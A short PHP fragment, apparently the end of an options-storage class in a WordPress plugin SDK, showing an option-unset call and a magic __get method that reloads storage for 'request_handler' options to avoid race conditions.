{ $this->get_storage( $name )->unset_option( $name, true ); } /** * @param string $name * * @return null|int|string */ function __get( $name ) { return $this->get_option( $name, // Reload storage from DB when accessing request_handler_* options to avoid race conditions. fs_starts_with( $name, 'request_handler' ) ); } #endregion }